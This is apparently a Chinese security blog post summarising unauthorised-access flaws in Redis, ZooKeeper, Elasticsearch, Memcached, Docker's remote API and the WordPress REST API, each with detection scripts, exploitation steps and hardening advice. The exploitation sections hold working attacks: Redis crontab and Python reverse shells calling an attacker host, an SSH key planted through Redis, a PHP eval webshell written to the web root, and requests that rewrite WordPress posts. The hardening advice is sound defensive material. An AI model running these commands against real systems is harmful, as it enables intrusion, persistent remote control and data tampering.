Rookie

漫游指南-1 的世界

流浪在大理的斜杠青年

未授權訪問漏洞總結檢測與利用

1 redis 未授權訪問漏洞#

1.1 漏洞描述#

  • redis 安裝完後,默認是沒有帳號密碼的如果 redis 是以 root 權限去運行,則可以被反彈 shell 或者寫入 ssh 密鑰,從而被獲取伺服器的權限。

1.2 漏洞檢測#

import socket 
host = "192.168.254.19"
port = 6384
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("INFO\r\n")
result = s.recv(1024)
print result//可以註釋本部分
if "redis_version" in result:
    print "exist vul"

客戶端連接測試一下:

$redis-cli -h host -p port
>CONFIG get requirepass
1) "requirepass"
2) ""
說明:表示沒有設置密碼,默認為沒有密碼。

1.3 漏洞利用#

1.3.1 利用 crontab 反彈 shell#

自己伺服器上監聽一個端口 (10.0.0.2)

nc -lvnp 4444

執行命令:

redis-cli -h 10.0.0.1
set x "\n* * * * * bash -i >& /dev/tcp/10.0.0.2/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
1.3.2 寫 ssh-keygen 公鑰登錄伺服器#

利用條件:

1.redis對外開放,且未授權訪問(默認配置)
2.伺服器的ssh對外開放,可通過key登錄

詳細攻擊方式如下:

準備好自己的公鑰,寫入本地文件text.txt。
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
2. 透過redis將該文件寫入內存
$ redis-cli -h 10.0.0.1 flushall
$ cat test.txt | redis-cli -h 10.0.0.1 -x set crackit
3. 利用redis-cli 寫入配置的方式將公鑰寫入到.ssh目录下
$ redis-cli -h 10.0.0.1
10.0.0.1:6379> config set dir /Users/nmask/.ssh/
OK
10.0.0.1:6379> config get dir
1) "dir"
2) "/Users/test/.ssh"
10.0.0.1:6379> config set dbfilename "authorized_keys"
OK
10.0.0.1:6379> save
OK
1.3.3#

獲取 web 服務的 webshell
當 redis 權限不高時,並且伺服器開著 web 服務,在 redis 有 web 目錄寫權限時,可以嘗試往 web 路徑寫 webshell。

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['test']);?>"
save

說明:執行以上命令,即可將 shell 寫入 web 目錄。

1.4 漏洞修復#

到 redis 安裝目錄下,配置 redis.conf 文件:
1、默認只對本地開放
bind 127.0.0.1
2、添加登錄密碼
requirepass AbcXXXX
3、在需要對外開放的時候修改默認端口
port 2333
4、最後還可以配合 iptables 限制開放

2 ZooKeeper 未授權訪問漏洞#

2.1 漏洞描述#

安裝 zookeeper 之後默認是沒有帳號密碼的,即沒有權限校驗,可被遠程利用,通過目標伺服器收集敏感信息,或者破壞 zookeeper 集群。

2.2 漏洞檢測#

#coding=utf-8
import socket 
ip = "192.168.36.218"
port = 2181
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("envi")
result = s.recv(1024)
print result #輸出詳細返回
if "zookeeper.version" in result:
	print "exist vul"

2.3 漏洞利用#

執行以下命令即可遠程獲取該伺服器的環境:

echo envi | nc ip port

直接連接:

./zkCli.sh -server ip:port

2.4 漏洞修復#

1、禁止把 Zookeeper 直接暴露在公網
2、添加訪問控制,根據情況選擇對應方式(認證用戶,帳號密碼)
3、綁定指定 IP 訪問

3 Elasticsearch 未授權訪問#

3.1 漏洞描述#

ELK 是一款日誌分析工具,默認監聽 9200 端口,如果沒有設置訪問權限,可被非法操作數據。

3.2 漏洞檢測#

import httplib, urllib
conn = httplib.HTTPConnection("192.168.254.56",9200, True, 10)
conn.request("GET", '/_cat/master')
resp = conn.getresponse()
print resp.status
if resp.status == 200:
    print "exist vul"

3.3 漏洞利用#

相當於一個 API,任何人訪問這個地址,就可以調用 api,進行數據的增刪改操作。
http://x.x.x.x:9200/_nodes
http://x.x.x.x:9200/_river

3.4 漏洞修復#

1、防火牆上設置禁止外網訪問 9200 端口。
2、使用 Nginx 搭建反向代理,通過配置 Nginx 實現對 Elasticsearch 的認證
3、限制 IP 訪問,綁定固定 IP
4、在 config/elasticsearch.yml 中為 9200 端口設置認證:

http.basic.enabled true #開關,開啟會接管全部HTTP連接
http.basic.user "admin" #帳號
http.basic.password "admin_pw" #密碼
http.basic.ipwhitelist ["localhost", "127.0.0.1"]

4memcache 未授權訪問#

4.1 漏洞描述#

memcached 是一套常用的 key-value 緩存系統,其本身並沒有權限控制模塊,因此攻擊者通過命令交互可直接讀取 memcached 中的敏感信息。

4.2 漏洞檢測#

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("stats")
result = s.recv(1024)
if "STAT version" in result:
    print "exist vul"

4.3 漏洞利用#

nc -vv <target> 11211

說明:連接成功,則可獲取 memcached 中的敏感信息。

4.4 漏洞修復#

1、設置 memchached 只允許本地訪問
2、禁止外網訪問 Memcached 11211 端口
3、編譯時加上–enable-sasl,啟用 SASL 認證

5Docker 未授權訪問#

5.1 漏洞描述#

Docker Remote API 是一個取代遠程命令行界面(rcli)的 REST API。通過 docker client 或者 http 直接請求就可以訪問這個 API,通過這個接口,我們可以新建 container,刪除已有 container,甚至是獲取宿主機的 shell。

5.2 漏洞檢測#

conn = httplib.HTTPConnection(ip, port, True, TIMEOUT)
conn.request("GET", '/containers/json')
resp = conn.getresponse()
if resp.status == 200 and "HostConfig" in resp.read():
    print "exist vul"

5.3 漏洞利用#

獲取所有 images

http://host:2375/containers/json

getshell 的方式與 redis 利用差不多。

5.3.1 利用計劃任務反彈 shell#
echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab

5.3 漏洞修復#

1、在不必需的情況下,不要啟用 docker 的 remote api 服務,如果必須使用的話,可以採用如下的加固方式:
設置 ACL,僅允許信任的來源 IP 連接;
設置 TLS 認證,官方的文檔為 Protect the Docker daemon socket
2、客戶端連接時需要設置以下環境變量 export DOCKER_TLS_VERIFY=1

export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

3、在 docker api 伺服器前面加一個代理,例如 nginx,設置 401 認證

6wordpress 未授權訪問漏洞#

6.1 漏洞描述#

wordpress 未經授權的攻擊者利用該漏洞可注入惡意內容,以及進行提權,對文章、頁面等內容進行修改。REST API 是最近添加到 WordPress 4.7.0 並默認啟用的。

6.2 漏洞利用#

查看文章列表:

GET /index.php/wp-json/wp/v2/posts HTTP/1.1

修改文章內容:

POST /index.php/wp-json/wp/v2/posts/500?id=500 HTTP/1.1
Host: xxx.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36
Content-Type: application/json
Content-Length: 43
{"title":"x x x x"}

說明:如果返回 401 則無權限修改;返回 200 表示修改成功。

參考文章#

https://www.secpulse.com/archives/61101.html
https://www.secpulse.com/archives/40406.html
http://www.freebuf.com/vuls/126120.html
https://thief.one/2017/12/08/1/

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。